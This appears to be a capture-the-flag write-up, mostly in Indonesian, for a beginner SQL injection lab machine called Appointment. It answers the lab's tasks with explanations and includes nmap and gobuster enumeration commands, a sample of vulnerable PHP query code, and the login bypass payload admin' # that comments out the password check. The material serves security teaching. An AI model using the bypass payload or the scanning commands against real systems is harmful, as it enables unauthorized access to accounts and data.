

SQL Injection Writeup – Appointment Machine

Task 1: What does the acronym SQL stand for?

Jawaban: Structured Query Language

SQL adalah bahasa standar untuk mengakses dan memanipulasi database. SQL digunakan untuk melakukan query, insert, update, dan delete data dalam database relasional seperti MySQL, PostgreSQL, SQL Server, dan Oracle.

Task 2: What is one of the most common type of SQL vulnerabilities?

Jawaban: SQL Injection

SQL Injection adalah vulnerability yang terjadi ketika input user tidak divalidasi dengan benar dan langsung dimasukkan ke dalam SQL query. Attacker dapat memanipulasi query untuk mengakses, memodifikasi, atau menghapus data yang tidak seharusnya dapat diakses.

Contoh vulnerable code:

php

```
$query = "SELECT * FROM users WHERE username = '$username'";
```

Task 3: What is the 2021 OWASP Top 10 classification for this vulnerability?

Jawaban: A03:2021-Injection

Dalam OWASP Top 10 2021, Injection vulnerabilities (termasuk SQL Injection) berada di posisi **A03:2021-Injection**. Ini menunjukkan bahwa injection masih menjadi salah satu ancaman keamanan web yang paling serius.

Task 4: What does Nmap report as the service and version that are running on port 80 of the target?

Jawaban: (Tergantung hasil scan, biasanya **Apache httpd 2.4.41** atau serupa)

Lakukan scanning untuk mengetahui service yang berjalan:

```
nmap -sV [target_ip]
```

Atau scan spesifik pada port 80:

```
nmap -sV -p 80 [target_ip]
```

Output akan menampilkan service name dan version, contoh:

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

Task 5: What is the standard port used for the HTTPS protocol?

Jawaban: 443

- **HTTP** menggunakan port **80** (unencrypted)
- **HTTPS** menggunakan port **443** (encrypted dengan SSL/TLS)

HTTPS adalah versi aman dari HTTP yang mengenkripsi komunikasi antara browser dan server.

Task 6: What is a folder called in web-application terminology?

Jawaban: directory

Dalam konteks web application, folder disebut sebagai **directory**. Contoh:

- `/admin/` adalah directory
- `/login/` adalah directory
- `/dashboard/` adalah directory

Task 7: What is the HTTP response code that is returned for Not Found errors?

Jawaban: 404

HTTP status codes:

- **200** - OK (Success)
- **301** - Moved Permanently
- **302** - Found (Temporary Redirect)
- **403** - Forbidden
- **404** - Not Found
- **500** - Internal Server Error

404 Not Found berarti resource yang diminta tidak ditemukan di server.

Task 8: What switch do we use with Gobuster to specify we're looking to discover directories?

Jawaban: dir

Gobuster adalah tool untuk brute force directories dan files di web server. Mode dir digunakan untuk directory/file enumeration:

```
gobuster dir -u http://[target_ip] -w /usr/share/wordlists/dirb/common.txt
```

Syntax lengkap:

```
gobuster dir -u [URL] -w [wordlist] -x [extensions]
```

Contoh dengan extensions:

```
gobuster dir -u http://[target_ip] -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
```

Task 9: What single character can be used to comment out the rest of a line in MySQL?

Jawaban: #

MySQL comment syntax:

- # - Comment sampai akhir baris
- -- (dengan spasi) - Comment sampai akhir baris
- /* */ - Multi-line comment

Contoh:

```
sql
```

```
SELECT * FROM users WHERE id = 1; # This is a comment
```

```
SELECT * FROM users WHERE id = 1; -- This is also a comment
```

```
SELECT * FROM users /* inline comment */ WHERE id = 1;
```

Task 10: Use a comment to login as admin without knowing the password. What is the first word on the webpage returned?

Jawaban: Congratulations

SQL Injection Attack

Ketika login form vulnerable terhadap SQL Injection, kita bisa bypass authentication dengan menggunakan comment.

Normal query:

sql

```
SELECT * FROM users WHERE username = 'admin' AND password = 'password123'
```

Payload untuk bypass:

Username: admin' #

Password: (anything)

Resulting query:

sql

```
SELECT * FROM users WHERE username = 'admin'#' AND password = 'anything'
```

Comment # membuat segala sesuatu setelahnya diabaikan, sehingga password check tidak berjalan.

Setelah berhasil login, webpage akan menampilkan pesan sukses (biasanya dimulai dengan kata "Congratulations" atau kata pertama lainnya yang ditampilkan).

Submit Flag

Setelah berhasil bypass authentication dengan SQL Injection, explore webpage untuk menemukan flag.